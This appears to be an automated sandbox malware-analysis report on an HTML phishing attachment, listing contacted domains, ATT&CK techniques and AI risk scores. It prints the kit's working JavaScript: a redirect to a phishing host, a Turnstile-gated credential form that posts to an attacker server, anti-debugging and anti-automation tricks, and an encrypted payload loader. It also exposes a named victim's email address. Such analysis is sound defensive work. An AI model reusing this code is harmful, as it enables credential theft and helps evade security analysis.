Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://k8.komirath.ru/1jVVShGI/#M#Jtingramm@pointloma.edu

HTTP Parser: https://k8.komirath.ru/1jVVShGI/#M#Jtingramm@pointloma.edu

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://ecohomethings.net/res444.php?2-68747470733a2f2f4b382e6b6f6d69726174682e72752f316a5656536847492f-starwort	0%	Avira URL Cloud	safe
https://k8.komirath.ru/favicon.ico	100%	Avira URL Cloud	phishing
https://k8.komirath.ru/1jVVShGI/	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
ecohomethings.net	103.83.194.55	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
k8.komirath.ru	188.114.97.3	true	true	unknown
www.google.com	142.250.185.164	true	false	high
dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru	104.21.42.208	true	false	high
www.office.com	unknown	unknown	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://k8.komirath.ru/1jVVShGI/#M#Jtingramm@pointloma.edu	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8ffdb9728d954299/1736523196992/455d6818bba637271d82f03df91af8cd7f3a3912c893798423e027aab53b2bc2/KfIlyCWc5m61Ylx	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://a.nel.cloudflare.com/report/v4?s=awrljOXtvGc94f9Szt%2FE5%2FJTyWeo7LROzkIMTRFGpVE%2BE8PaYaeSgQMxk6tVEv5tJJ7tcYbwyVQzN4FNWKpiKSC0b77anxBVwlB24YPSp12sipovNs33VUA56SMujA%3D%3D	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ffdb9728d954299&lang=auto	false		high
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721200094159662.ZTBiNTFiOWYtMGYwZC00OWY0LTliMWItOWRmOTYyM2RjYmVkNThmYjg4NWYtZjZkZS00OWQxLWFmY2QtNjE5M2QzY2Y5M2Iy&ui_locales=en-US&mkt=en-US&client-request-id=3fcf73b9-c9dd-4b7f-ab1e-fdb0ed76afb4&state=rsB1YWRQg88fqFsbIoHuzLqEkB9ZWiQQkjP_o7KqBkqZzZm9t-kpxGRO41NWB0f9ZXqFzJwJqcIs5WFXXZWJIW_8thtzcd8IT4nw_GDH0j1sU0WiE16ARG7xSCBbrmxXj7abwhu9KV7fvmz0Lnct9t3_M9Om0IoB4rIuFQ2gPC6m1FMrX07H-wBUtShJJYFuzftBQf-KSAXd4I0jr8tkcyeBK73kF577UhPRgWvBEmER6IJG0ao3TSMSrXgFduuVjwASUd2n-iDEzsO1EcW_Hg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	false		high
https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js	false		high
https://ecohomethings.net/res444.php?2-68747470733a2f2f4b382e6b6f6d69726174682e72752f316a5656536847492f-starwort	false	Avira URL Cloud: safe	unknown
https://k8.komirath.ru/1jVVShGI/	true	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/	false		high
https://k8.komirath.ru/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/672700251:1736522261:xGw24pH9Yt_lkF4lloT6WAHA0mE9pnF8fdg9tLdGolY/8ffdb9728d954299/ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8ffdb9728d954299/1736523196999/dOWpH4qw10PT6W1	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://login.microsoftonline.com	chromecache_97.2.dr, chromecache_105.2.dr	false		high
https://login.windows-ppe.net	chromecache_97.2.dr, chromecache_105.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
104.21.42.208	dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru	United States	13335	CLOUDFLARENETUS	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
103.83.194.55	ecohomethings.net	United States	132335	NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	k8.komirath.ru	European Union	13335	CLOUDFLARENETUS	true
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.24

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587740
Start date and time:	2025-01-10 16:32:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Play_VM-NowTingrammAudiowav011.html
Detection:	MAL
Classification:	mal68.phis.evad.winHTML@19/81@40/14
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, TextInputHost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.227, 142.250.185.110, 173.194.76.84, 216.58.206.78, 142.250.186.78, 142.250.186.174, 192.229.221.95, 199.232.210.172, 20.190.159.73, 20.190.159.23, 20.190.159.75, 40.126.31.73, 20.190.159.64, 20.190.159.4, 20.190.159.0, 40.126.31.69, 13.107.6.156, 216.58.212.174, 216.58.206.42, 142.250.184.234, 142.250.185.170, 142.250.185.202, 142.250.186.138, 142.250.181.234, 142.250.185.106, 172.217.16.202, 142.250.184.202, 172.217.18.10, 172.217.23.106, 216.58.206.74, 142.250.185.234, 142.250.186.106, 142.250.186.170, 216.58.212.138, 13.69.116.107, 13.69.239.74, 142.250.186.46, 216.58.206.46, 142.250.74.206, 142.250.186.99, 2.16.238.152, 2.16.238.149, 199.232.214.172, 142.250.186.142, 52.149.20.212, 2.23.242.162, 13.107.246.45, 40.126.32.138, 40.126.31.67, 13.107.5.88, 2.23.227.208
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, onedscolprdneu06.northeurope.cloudapp.azure.com, clientservices.googleapis.com, home-office365-com.b-0004.b-msedge.net, ak.privatelink.msidentity.com, a1894.dscb.akamai.net, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, onedscolprdweu09.westeurope.cloudapp.azure.com, update.googleapis.com, login.mso.msidentity.com, www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, www.tm.ak.prd.aadg.akadns.net, b-0004.b-msedge.net, ctldl.windowsupdate.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, eu.events.data.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, nel.measure.office.net.edgesuite.net, evoke-windowsservices-tas.msedge.net, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, eu-mobile.events.data.microsoft.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: https://microsoftonline.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoftonline.com
URL: file:///C:/Users/user/Desktop/Play_VM-NowTingram... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the aggressive manipulation of the DOM further increase the risk. While the script may have a legitimate purpose, the overall behavior is highly suspicious and indicative of potential malicious intent." }
let url = null; if (!"#Jtingramm@pointloma.edu".includes('#')) { url = "https://K8.komirath.ru/1jVVShGI/"; } if ("#Jtingramm@pointloma.edu".includes('#')) { url = "https://K8.komirath.ru/1jVVShGI/" + "#" + String.fromCharCode(Math.floor(Math.random() * (90 - 65 + 1)) + 65); } var RlRJdZPxAUiBxzYi = document.createElement('a'); RlRJdZPxAUiBxzYi.href = url+"#Jtingramm@pointloma.edu"; document.write(RlRJdZPxAUiBxzYi); document.body.innerHTML = ""; document.body.appendChild(RlRJdZPxAUiBxzYi); RlRJdZPxAUiBxzYi.click();
URL: https://k8.komirath.ru/1jVVShGI/#M#Jtingramm@point... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. It collects user data and credentials, and then sends them to an untrusted domain. The script also attempts to bypass form submission, indicating malicious intent. Overall, this script demonstrates a high level of risk and should be considered a potential security threat." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA3bMRi2wgFRnskD', 'error-callback': AWKHocrGBg, callback: qNYpspqstD, }); function AWKHocrGBg() { turnstile.reset(); } function qNYpspqstD() { var TTGtxySCMX = document.getElementById("JHFFzpSHzc"); TTGtxySCMX.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'GKtoyH'; var lZaLgPaNaf = "../xu5B1z6Ur0j8lOmEpBGgIe3uX9BYPXC5ODWqfu"; fetch('https://dFOH97nTTOABOZjk8c1554QqI47DOk8l4s7QqxQhFxbdhpRgqYCaBBH.ivertoneym.ru/0256581979405020159521774NwXzyZCHSEWNUIBRRKYXJPLNYTZCIHJHICJDDWEYJKYGAKJUXP', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(lZaLgPaNaf, { method: "POST", body: new FormData(TTGtxySCMX) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(xHFQVWpOpI == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://login.microsoftonline.com'); } }); } if(text != 0){ window.location.replace('https://login.microsoftonline.com'); } }) .catch(error => { window.location.replace('https://login.microsoftonline.com'); }); }
URL: https://k8.komirath.ru/1jVVShGI/#M#Jtingramm@point... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common developer tools and keyboard shortcuts, and redirecting the user to a suspicious domain. The script also includes a self-executing function that uses `setInterval` to repeatedly trigger a `debugger` statement, which could be an attempt to detect and evade analysis. Overall, this script demonstrates a high level of malicious intent and should be considered a significant security risk." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); xHFQVWpOpI = false; (function hLWrPtgpkY() { let aQOxovSLEu = false; const IVwwOyWeXt = 100; setInterval(function() { const kWnEhjoWiQ = performance.now(); debugger; const DFicIFrcQm = performance.now(); if (DFicIFrcQm - kWnEhjoWiQ > IVwwOyWeXt && !aQOxovSLEu) { xHFQVWpOpI = true; aQOxovSLEu = true; window.location.replace('https://login.microsoftonline.com'); } }, 100); })();
URL: https://ecohomethings.net/res444.php?2-68747470733... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code. While the script appears to be using the CryptoJS library for legitimate cryptographic operations, the overall behavior and lack of transparency raise significant security concerns." }
var TeJvVKTNjEisCoGi = document.createElement("script"); TeJvVKTNjEisCoGi.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"); document.head.append(TeJvVKTNjEisCoGi); TeJvVKTNjEisCoGi.onload=function(){ var {a,b,c,d} = JSON.parse(atob("eyJhIjoiZG50eXBTWHF4MTBrSmxPT3NcL0RqZzR5SjVwRjh5QW81enlRY2VCRjlzSU1IdW5VMXdkY0VwNmdVUE9DZmJRZXZXUzVWdG1QOHJ2eFU5T0pvbmhDb2NkR1daM1g0cUNVRUwwNzZYdVwvajB6XC90TXZoMGhXSXVobUEwdVQxU1owTXdvNGVLSCtSMDlQMzVtWjhEVldiWkxBbEp1OVJDNkZMVXdvSWxhOU5YM0lXY0lVb3pyNWF1bWNLZEJpN3FDRUROS0VkeVo0TEZ5Y1A1NUdcL0tHV0NQNFwvXC9zUTFGdmpmeUh5SHhyQlpjcG1oSG81RFwvSjhENDRROWpneXlaMjdKa1Zwbm1pQXJYd2J3cXJ3XC9YcXhhWTU2eG5zcVlOSVFuTTRPNjdKRnlFbGdcL2JxUUJaT1dKWmN2cFJsRHBaK29hU1djaTEzUkd0S2RvRVd6RXc5azNwZmpsa0xuZStkMnlvSnpJb1lwWlUxbEorUndMNVJDZUl1Tmg0UjV4REZmT1M0YjJwYXBFR3hTVmF5THRUUWZPS2NTSmZKTVJVRjFZemJmeDdjdnFsNXNHNjNFOVRMRnU2YytUQUc4eDI0N1lSam1ubWN1YzJ4QzgxanROT0RiZHJmTzBqNFVnaHRLa2hsb0tPRkZLY0ZwbFpxSFFCY0JTYTZnajgzTHFjYVY3VVllZmpHM2hcLzR4STY3ZUFMNEROOEQwcDF6TUJJQTVhYTB2M0ZIdE5pdnVESHR3V1RHNTVKZ21tdUw3dGZYd0M0ZCtIR0p0Z2dNa2tINkV5V3Ftb2I2Z2JGZVlZSyt1WHpwbTRvUERFY05IOFNmTnNSa1c5UTRDMndiZURMcEFLZjhcL1dKdzZSRVJDU1g3XC9qamtqbzdZVTA4WldtV1BMQnVcL2lQSE9CTUpXYWFQMitZZHhUYnBEWDgzVkpnWWVzSTlmYzdUMFBSdGxUVWJKWXpySkUxRDBkUldoWkp0RjNWMExPOVVwY3BmK2lzczFRUmR1VGpXZkM2bk5BSWEwaFBQcUM0dGYrdDJtamMrRFdXQnJzNllBUHc9PSIsImIiOiIyNWVkMWI2OWM0MmNlZjlhM2EzMzE5YWMyMWJkZmUzMSIsImMiOiJjYzBjOTFhY2ZmYzgxOGM0MjQ5NzFhZWFiOTI2MjM2ZiIsImQiOiI2MzYxMzAzMDYyNjU2NTMyNjM2NDYzMzMzOTMwMzMzMzM1MzczNDY0MzczOTY1MzczOTY0MzY2MjM0MzIzNTMzIn0=")); var YxtfaDhIbdMtfxrL = CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d),CryptoJS.enc.Hex.parse(b),{hasher:CryptoJS.algo.SHA512,keySize:64/8,iterations:999}); nMwholZwUmocArEV = CryptoJS.AES.decrypt(a,YxtfaDhIbdMtfxrL,{iv:CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8); nMwholZwUmocArEV = nMwholZwUmocArEV.replace(/NMvvrjMqrPQrWqHc/g, starwort); document.write(nMwholZwUmocArEV); }
URL: https://k8.komirath.ru/1jVVShGI/#M#Jtingramm@point... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent." }
/* I find that the harder I work, the more luck I seem to have. */ if(atob("aHR0cHM6Ly9LOC5rb21pcmF0aC5ydS8xalZWU2hHSS8=") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNjSklEWnFBaWZ2IGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI2NKSURacUFpZnYgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI2NKSURacUFpZnYgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojY0pJRFpxQWlmdiBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI2NKSURacUFpZnYuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTI2cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNjSklEWnFBaWZ2IC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojY0pJRFpxQWlmdiAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI2NKSURacUFpZnYgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojY0pJRFpxQWlmdiAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojY0pJRFpxQWlmdiAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI2NKSURacUFpZnYgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI2NKSURacUFpZnYubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNjSklEWnFBaWZ2IC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojY0pJRFpxQWlmdiAjVnVSTWRSZkZ1RCB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KeEhGUVZXcE9wSSA9IGZhbHNlOw0KKGZ1bmN0aW9uIGhMV3JQdGdwa1koKSB7DQogICAgbGV0IGFRT3hvdlNMRXUgPSBmYWxzZTsNCiAgICBjb25zdCBJVnd3T3lXZVh0ID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgIC
